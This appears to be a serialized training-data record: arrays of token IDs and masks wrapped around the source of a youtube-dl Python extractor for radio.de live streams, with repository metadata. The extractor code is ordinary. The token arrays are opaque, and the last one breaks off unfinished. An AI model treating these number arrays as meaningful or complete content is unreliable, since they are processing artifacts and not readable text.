1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
504,
1495,
77,
7546,
14,
1018,
492,
4137,
576,
421,
199,
533,
18241,
2988,
26,
272,
1449,
272,
18241,
2988,
446,
437,
2018,
1021,
367,
28453,
314,
3285,
370,
986,
370,
376,
272,
4223,
1928,
21027,
316,
4052,
1159,
2757,
663,
10889,
14,
339,
961,
365,
282,
330,
24491,
1021,
18002,
314,
4182,
19428,
4052,
2985,
787,
9689,
14,
272,
7048,
1256,
402,
642,
1021,
1077,
506,
10038,
543,
314,
11619,
272,
4223,
370,
9635,
3285,
14,
24870,
787,
2066,
11544,
370,
282,
666,
13,
6976,
272,
436,
6328,
315,
4137,
576,
367,
2945,
26174,
14,
339,
377,
1966,
8793,
666,
13,
3780,
365,
1771,
379,
701,
282,
5385,
4427,
3050,
641,
1924,
4137,
12,
272,
15161,
314,
2600,
12,
2741,
687,
314,
283,
1560,
77,
7546,
7,
2366,
2559,
14,
272,
22486,
26,
272,
3999,
275,
18241,
2988,
360,
9991,
358,
272,
3999,
14,
525,
360,
27566,
297,
283,
5756,
14,
6568,
14,
1081,
14,
18,
358,
272,
3999,
14,
475,
63,
83,
342,
272,
1449,
339,
347,
636,
826,
721,
277,
12,
11128,
12,
3999,
63,
515,
29,
403,
304,
267,
291,
14,
697,
275,
4137,
576,
14,
11475,
342,
267,
291,
14,
10824,
275,
11128,
267,
340,
440,
291,
14,
697,
14,
362,
8,
10824,
304,
288,
291,
14,
576,
275,
1052,
267,
587,
26,
288,
291,
14,
576,
275,
291,
14,
697,
14,
362,
8,
10824,
9,
339,
347,
636,
2117,
8,
277,
304,
267,
291,
14,
697,
14,
409,
8,
277,
14,
10824,
12,
291,
14,
576,
9,
339,
347,
1050,
8,
277,
12,
790,
12,
574,
12,
7478,
29,
797,
304,
267,
1449,
267,
15747,
666,
370,
314,
2341,
402,
1338,
367,
314,
22067,
24429,
570,
14,
267,
32090,
2849,
1338,
12,
503,
298,
3029,
2992,
2860,
1674,
982,
1265,
267,
1172,
282,
3305,
1454,
945,
12,
2839,
1553,
9945,
4712,
12,
663,
314,
574,
267,
370,
488,
14,
4005,
11211,
314,
5835,
574,
12,
986,
7478,
267,
11837,
26,
267,
3999,
14,
525,
360,
1302,
297,
283,
1421,
358,
267,
3999,
14,
525,
360,
1302,
297,
283,
1421,
12,
4681,
12,
15507,
358,
267,
3999,
14,
525,
360,
4173,
2118,
297,
488,
9,
267,
3999,
14,
525,
360,
4201,
13,
1617,
297,
283,
8704,
348,
921,
65,
26,
20,
4587,
12,
66,
26,
20,
4587,
12,
67,
26,
20,
4587,
15,
22096,
297,
326,
7478,
29,
549,
9,
267,
1449,
267,
340,
7478,
26,
288,
291,
14,
576,
459,
2440,
13,
4768,
1370,
908,
8,
498,
1874,
275,
574,
288,
291,
855,
2117,
342,
288,
372,
398,
340,
574,
26,
288,
1338,
275,
359,
88,
14,
1913,
342,
367,
671,
315,
574,
14,
1294,
29972,
288,
327,
2429,
7029,
288,
340,
790,
315,
291,
14,
576,
436,
291,
14,
576,
59,
498,
61,
365,
440,
488,
26,
355,
1242,
63,
576,
275,
291,
14,
576,
59,
498,
61,
355,
367,
286,
315,
1338,
26,
490,
286,
275,
286,
14,
1913,
342,
490,
340,
286,
440,
315,
1242,
63,
576,
26,
717,
1242,
63,
576,
14,
740,
8,
67,
9,
355,
291,
14,
576,
59,
498,
61,
275,
1242,
63,
576,
288,
587,
26,
355,
327,
2429,
892,
355,
291,
14,
576,
59,
498,
61,
275,
1338,
267,
587,
26,
288,
327,
2429,
3305,
2118,
288,
291,
14,
576,
59,
498,
61,
275,
488,
267,
291,
855,
2117,
342,
339,
347,
2813,
8,
277,
12,
790,
12,
574,
304,
267,
1449,
267,
5852,
282,
3305,
574,
687,
314,
22067,
24429,
5256,
267,
10829,
12848,
314,
666,
365,
5544,
791,
1421,
356,
788,
1700,
297,
283,
6185,
12074,
267,
366,
14,
2168,
360,
1421,
297,
283,
1700,
358,
267,
690,
791,
1421,
356,
788,
6185,
12074,
267,
520,
1162,
790,
26,
267,
520,
1162,
574,
26,
267,
1449,
267,
291,
14,
576,
59,
498,
1055,
2168,
8,
585,
9,
267,
291,
855,
2117,
342,
339,
347,
11972,
8,
277,
12,
790,
12,
7478,
29,
797,
304,
267,
1449,
267,
1487,
9853,
9462,
2813,
1006,
1338,
436,
790,
687,
314,
18241,
2988,
267,
10829,
12848,
314,
666,
365,
5544,
791,
1421,
356,
788,
1700,
297,
283,
6185,
12074,
267,
366,
14,
87,
3662,
360,
1421,
358,
267,
690,
2440,
267,
520,
1162,
790,
26,
267,
520,
1162,
7478,
26,
267,
1449,
267,
862,
26,
288,
340,
7478,
26,
355,
291,
14,
576,
14,
1935,
17519,
13,
4768,
1370,
908,
8,
498,
430,
288,
587,
26,
355,
291,
14,
576,
14,
1935,
8,
498,
9,
288,
291,
855,
2117,
342,
267,
871,
4067,
26,
288,
986,
339,
347,
664,
8,
277,
12,
790,
12,
849,
29,
403,
304,
267,
408,
1767,
314,
574,
367,
1124,
498,
4542,
503,
314,
849,
340,
1124,
498,
1040,
3181,
1133,
2187,
14,
398,
408,
267,
372,
291,
14,
576,
14,
362,
8,
498,
12,
849,
9,
339,
347,
11972,
63,
452,
8,
277,
304,
267,
1449,
267,
1487,
9853,
9462,
14185,
1006,
666,
687,
314,
18241,
2988,
14,
267,
1449,
267,
291,
14,
576,
14,
3584,
342,
267,
291,
855,
2117,
342,
339,
347,
370,
63,
83,
8,
277,
304,
267,
1449,
267,
17769,
314,
3285,
370,
282,
2849,
1059,
12,
16318,
367,
314,
22067,
267,
7827,
570,
14,
26914,
315,
1182,
6839,
15,
885,
15,
9991,
267,
366,
14,
475,
63,
83,
342,
267,
690
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
199,
3,
1898,
6900,
710,
28723,
6642,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
199,
504,
1495,
77,
7546,
14,
1018,
492,
4137,
576,
421,
199,
533,
18241,
2988,
26,
272,
1449,
272,
18241,
2988,
446,
437,
2018,
1021,
367,
28453,
314,
3285,
370,
986,
370,
376,
272,
4223,
1928,
21027,
316,
4052,
1159,
2757,
663,
10889,
14,
339,
961,
365,
282,
330,
24491,
1021,
18002,
314,
4182,
19428,
4052,
2985,
787,
9689,
14,
272,
7048,
1256,
402,
642,
1021,
1077,
506,
10038,
543,
314,
11619,
272,
4223,
370,
9635,
3285,
14,
24870,
787,
2066,
11544,
370,
282,
666,
13,
6976,
272,
436,
6328,
315,
4137,
576,
367,
2945,
26174,
14,
339,
377,
1966,
8793,
666,
13,
3780,
365,
1771,
379,
701,
282,
5385,
4427,
3050,
641,
1924,
4137,
12,
272,
15161,
314,
2600,
12,
2741,
687,
314,
283,
1560,
77,
7546,
7,
2366,
2559,
14,
272,
22486,
26,
272,
3999,
275,
18241,
2988,
360,
9991,
358,
272,
3999,
14,
525,
360,
27566,
297,
283,
5756,
14,
6568,
14,
1081,
14,
18,
358,
272,
3999,
14,
475,
63,
83,
342,
272,
1449,
339,
347,
636,
826,
721,
277,
12,
11128,
12,
3999,
63,
515,
29,
403,
304,
267,
291,
14,
697,
275,
4137,
576,
14,
11475,
342,
267,
291,
14,
10824,
275,
11128,
267,
340,
440,
291,
14,
697,
14,
362,
8,
10824,
304,
288,
291,
14,
576,
275,
1052,
267,
587,
26,
288,
291,
14,
576,
275,
291,
14,
697,
14,
362,
8,
10824,
9,
339,
347,
636,
2117,
8,
277,
304,
267,
291,
14,
697,
14,
409,
8,
277,
14,
10824,
12,
291,
14,
576,
9,
339,
347,
1050,
8,
277,
12,
790,
12,
574,
12,
7478,
29,
797,
304,
267,
1449,
267,
15747,
666,
370,
314,
2341,
402,
1338,
367,
314,
22067,
24429,
570,
14,
267,
32090,
2849,
1338,
12,
503,
298,
3029,
2992,
2860,
1674,
982,
1265,
267,
1172,
282,
3305,
1454,
945,
12,
2839,
1553,
9945,
4712,
12,
663,
314,
574,
267,
370,
488,
14,
4005,
11211,
314,
5835,
574,
12,
986,
7478,
267,
11837,
26,
267,
3999,
14,
525,
360,
1302,
297,
283,
1421,
358,
267,
3999,
14,
525,
360,
1302,
297,
283,
1421,
12,
4681,
12,
15507,
358,
267,
3999,
14,
525,
360,
4173,
2118,
297,
488,
9,
267,
3999,
14,
525,
360,
4201,
13,
1617,
297,
283,
8704,
348,
921,
65,
26,
20,
4587,
12,
66,
26,
20,
4587,
12,
67,
26,
20,
4587,
15,
22096,
297,
326,
7478,
29,
549,
9,
267,
1449,
267,
340,
7478,
26,
288,
291,
14,
576,
459,
2440,
13,
4768,
1370,
908,
8,
498,
1874,
275,
574,
288,
291,
855,
2117,
342,
288,
372,
398,
340,
574,
26,
288,
1338,
275,
359,
88,
14,
1913,
342,
367,
671,
315,
574,
14,
1294,
29972,
288,
327,
2429,
7029,
288,
340,
790,
315,
291,
14,
576,
436,
291,
14,
576,
59,
498,
61,
365,
440,
488,
26,
355,
1242,
63,
576,
275,
291,
14,
576,
59,
498,
61,
355,
367,
286,
315,
1338,
26,
490,
286,
275,
286,
14,
1913,
342,
490,
340,
286,
440,
315,
1242,
63,
576,
26,
717,
1242,
63,
576,
14,
740,
8,
67,
9,
355,
291,
14,
576,
59,
498,
61,
275,
1242,
63,
576,
288,
587,
26,
355,
327,
2429,
892,
355,
291,
14,
576,
59,
498,
61,
275,
1338,
267,
587,
26,
288,
327,
2429,
3305,
2118,
288,
291,
14,
576,
59,
498,
61,
275,
488,
267,
291,
855,
2117,
342,
339,
347,
2813,
8,
277,
12,
790,
12,
574,
304,
267,
1449,
267,
5852,
282,
3305,
574,
687,
314,
22067,
24429,
5256,
267,
10829,
12848,
314,
666,
365,
5544,
791,
1421,
356,
788,
1700,
297,
283,
6185,
12074,
267,
366,
14,
2168,
360,
1421,
297,
283,
1700,
358,
267,
690,
791,
1421,
356,
788,
6185,
12074,
267,
520,
1162,
790,
26,
267,
520,
1162,
574,
26,
267,
1449,
267,
291,
14,
576,
59,
498,
1055,
2168,
8,
585,
9,
267,
291,
855,
2117,
342,
339,
347,
11972,
8,
277,
12,
790,
12,
7478,
29,
797,
304,
267,
1449,
267,
1487,
9853,
9462,
2813,
1006,
1338,
436,
790,
687,
314,
18241,
2988,
267,
10829,
12848,
314,
666,
365,
5544,
791,
1421,
356,
788,
1700,
297,
283,
6185,
12074,
267,
366,
14,
87,
3662,
360,
1421,
358,
267,
690,
2440,
267,
520,
1162,
790,
26,
267,
520,
1162,
7478,
26,
267,
1449,
267,
862,
26,
288,
340,
7478,
26,
355,
291,
14,
576,
14,
1935,
17519,
13,
4768,
1370,
908,
8,
498,
430,
288,
587,
26,
355,
291,
14,
576,
14,
1935,
8,
498,
9,
288,
291,
855,
2117,
342,
267,
871,
4067,
26,
288,
986,
339,
347,
664,
8,
277,
12,
790,
12,
849,
29,
403,
304,
267,
408,
1767,
314,
574,
367,
1124,
498,
4542,
503,
314,
849,
340,
1124,
498,
1040,
3181,
1133,
2187,
14,
398,
408,
267,
372,
291,
14,
576,
14,
362,
8,
498,
12,
849,
9,
339,
347,
11972,
63,
452,
8,
277,
304,
267,
1449,
267,
1487,
9853,
9462,
14185,
1006,
666,
687,
314,
18241,
2988,
14,
267,
1449,
267,
291,
14,
576,
14,
3584,
342,
267,
291,
855,
2117,
342,
339,
347,
370,
63,
83,
8,
277,
304,
267,
1449,
267,
17769,
314,
3285,
370,
282,
2849,
1059,
12,
16318,
367,
314,
22067,
267,
7827,
570,
14,
26914,
315,
1182,
6839,
15,
885,
15,
9991,
267,
366,
14,
475,
63,
83,
342,
267,
690,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
krsjoseph/youtube-dl
|
youtube_dl/extractor/radiode.py
|
150
|
1819
|
from __future__ import unicode_literals
from .common import InfoExtractor
class RadioDeIE(InfoExtractor):
IE_NAME = 'radio.de'
_VALID_URL = r'https?://(?P<id>.+?)\.(?:radio\.(?:de|at|fr|pt|es|pl|it)|rad\.io)'
_TEST = {
'url': 'http://ndr2.radio.de/',
'info_dict': {
'id': 'ndr2',
'ext': 'mp3',
'title': 're:^NDR 2 [0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}$',
'description': 'md5:591c49c702db1a33751625ebfb67f273',
'thumbnail': 're:^https?://.*\.png',
'is_live': True,
},
'params': {
'skip_download': True,
}
}
def _real_extract(self, url):
radio_id = self._match_id(url)
webpage = self._download_webpage(url, radio_id)
jscode = self._search_regex(
r"'components/station/stationService':\s*\{\s*'?station'?:\s*(\{.*?\s*\}),\n",
webpage, 'broadcast')
broadcast = self._parse_json(jscode, radio_id)
title = self._live_title(broadcast['name'])
description = broadcast.get('description') or broadcast.get('shortDescription')
thumbnail = broadcast.get('picture4Url') or broadcast.get('picture4TransUrl') or broadcast.get('logo100x100')
formats = [{
'url': stream['streamUrl'],
'ext': stream['streamContentFormat'].lower(),
'acodec': stream['streamContentFormat'],
'abr': stream['bitRate'],
'asr': stream['sampleRate']
} for stream in broadcast['streamUrls']]
self._sort_formats(formats)
return {
'id': radio_id,
'title': title,
'description': description,
'thumbnail': thumbnail,
'is_live': True,
'formats': formats,
}
|
unlicense
|
[
504,
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
504,
1275,
2330,
492,
21298,
421,
199,
533,
13514,
872,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
11905,
14,
271,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
2229,
48,
28,
344,
29587,
31477,
5169,
11905,
4537,
5169,
271,
92,
292,
92,
4391,
92,
541,
92,
397,
92,
1168,
92,
390,
8636,
9525,
4537,
2308,
3171,
272,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
977,
82,
18,
14,
11905,
14,
271,
3678,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
977,
82,
18,
297,
288,
283,
832,
356,
283,
311,
19,
297,
288,
283,
1213,
356,
283,
264,
23497,
46,
4564,
499,
359,
16,
13,
25,
8194,
20,
17063,
59,
16,
13,
25,
8194,
18,
17063,
59,
16,
13,
25,
8194,
18,
93,
359,
16,
13,
25,
8194,
18,
93,
7766,
16,
13,
25,
8194,
18,
19204,
288,
283,
1802,
356,
283,
1064,
21,
26,
17736,
67,
1887,
67,
29422,
697,
17,
65,
1153,
2194,
975,
821,
2871,
4675,
1822,
70,
15000,
297,
288,
283,
8311,
356,
283,
264,
23497,
2859,
32569,
4524,
297,
288,
283,
374,
63,
6442,
356,
715,
12,
267,
1660,
267,
283,
1162,
356,
469,
288,
283,
2759,
63,
4249,
356,
715,
12,
267,
789,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
22008,
63,
344,
275,
291,
423,
1431,
63,
344,
8,
633,
9,
267,
9248,
275,
291,
423,
4249,
63,
12022,
8,
633,
12,
22008,
63,
344,
9,
267,
8586,
600,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
4507,
4608,
15,
10600,
15,
10600,
3167,
356,
60,
83,
7590,
12911,
83,
10223,
31,
10600,
27716,
3427,
83,
22588,
91,
21040,
83,
7590,
8688,
60,
78,
401,
288,
9248,
12,
283,
10786,
358,
398,
11180,
275,
291,
423,
1122,
63,
1001,
8,
3596,
600,
12,
22008,
63,
344,
9,
267,
2538,
275,
291,
423,
6442,
63,
1213,
8,
10786,
459,
354,
1105,
267,
1369,
275,
11180,
14,
362,
360,
1802,
358,
503,
11180,
14,
362,
360,
3612,
5831,
358,
267,
10062,
275,
11180,
14,
362,
360,
12538,
20,
6417,
358,
503,
11180,
14,
362,
360,
12538,
20,
3188,
6417,
358,
503,
11180,
14,
362,
360,
9733,
1960,
88,
1960,
358,
398,
6752,
275,
8910,
288,
283,
633,
356,
2547,
459,
1745,
6417,
995,
288,
283,
832,
356,
2547,
459,
1745,
2714,
3484,
2278,
2325,
1062,
288,
283,
65,
9276,
356,
2547,
459,
1745,
2714,
3484,
995,
288,
283,
371,
82,
356,
2547,
459,
2075,
6621,
995,
288,
283,
305,
82,
356,
2547,
459,
3271,
6621,
418,
267,
789,
367,
2547,
315,
11180,
459,
1745,
21867,
478,
6538,
267,
291,
423,
3191,
63,
6321,
8,
6321,
9,
398,
372,
469,
288,
283,
344,
356,
22008,
63,
344,
12,
288,
283,
1213,
356,
2538,
12,
288,
283,
1802,
356,
1369,
12,
288,
283,
8311,
356,
10062,
12,
288,
283,
374,
63,
6442,
356,
715,
12,
288,
283,
6321,
356,
6752,
12,
267,
789,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
636,
2443,
363,
492,
2649,
63,
5955,
199,
199,
504,
1275,
2330,
492,
21298,
421,
199,
533,
13514,
872,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
11905,
14,
271,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
2229,
48,
28,
344,
29587,
31477,
5169,
11905,
4537,
5169,
271,
92,
292,
92,
4391,
92,
541,
92,
397,
92,
1168,
92,
390,
8636,
9525,
4537,
2308,
3171,
272,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
977,
82,
18,
14,
11905,
14,
271,
3678,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
977,
82,
18,
297,
288,
283,
832,
356,
283,
311,
19,
297,
288,
283,
1213,
356,
283,
264,
23497,
46,
4564,
499,
359,
16,
13,
25,
8194,
20,
17063,
59,
16,
13,
25,
8194,
18,
17063,
59,
16,
13,
25,
8194,
18,
93,
359,
16,
13,
25,
8194,
18,
93,
7766,
16,
13,
25,
8194,
18,
19204,
288,
283,
1802,
356,
283,
1064,
21,
26,
17736,
67,
1887,
67,
29422,
697,
17,
65,
1153,
2194,
975,
821,
2871,
4675,
1822,
70,
15000,
297,
288,
283,
8311,
356,
283,
264,
23497,
2859,
32569,
4524,
297,
288,
283,
374,
63,
6442,
356,
715,
12,
267,
1660,
267,
283,
1162,
356,
469,
288,
283,
2759,
63,
4249,
356,
715,
12,
267,
789,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
22008,
63,
344,
275,
291,
423,
1431,
63,
344,
8,
633,
9,
267,
9248,
275,
291,
423,
4249,
63,
12022,
8,
633,
12,
22008,
63,
344,
9,
267,
8586,
600,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
4507,
4608,
15,
10600,
15,
10600,
3167,
356,
60,
83,
7590,
12911,
83,
10223,
31,
10600,
27716,
3427,
83,
22588,
91,
21040,
83,
7590,
8688,
60,
78,
401,
288,
9248,
12,
283,
10786,
358,
398,
11180,
275,
291,
423,
1122,
63,
1001,
8,
3596,
600,
12,
22008,
63,
344,
9,
267,
2538,
275,
291,
423,
6442,
63,
1213,
8,
10786,
459,
354,
1105,
267,
1369,
275,
11180,
14,
362,
360,
1802,
358,
503,
11180,
14,
362,
360,
3612,
5831,
358,
267,
10062,
275,
11180,
14,
362,
360,
12538,
20,
6417,
358,
503,
11180,
14,
362,
360,
12538,
20,
3188,
6417,
358,
503,
11180,
14,
362,
360,
9733,
1960,
88,
1960,
358,
398,
6752,
275,
8910,
288,
283,
633,
356,
2547,
459,
1745,
6417,
995,
288,
283,
832,
356,
2547,
459,
1745,
2714,
3484,
2278,
2325,
1062,
288,
283,
65,
9276,
356,
2547,
459,
1745,
2714,
3484,
995,
288,
283,
371,
82,
356,
2547,
459,
2075,
6621,
995,
288,
283,
305,
82,
356,
2547,
459,
3271,
6621,
418,
267,
789,
367,
2547,
315,
11180,
459,
1745,
21867,
478,
6538,
267,
291,
423,
3191,
63,
6321,
8,
6321,
9,
398,
372,
469,
288,
283,
344,
356,
22008,
63,
344,
12,
288,
283,
1213,
356,
2538,
12,
288,
283,
1802,
356,
1369,
12,
288,
283,
8311,
356,
10062,
12,
288,
283,
374,
63,
6442,
356,
715,
12,
288,
283,
6321,
356,
6752,
12,
267,
789,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
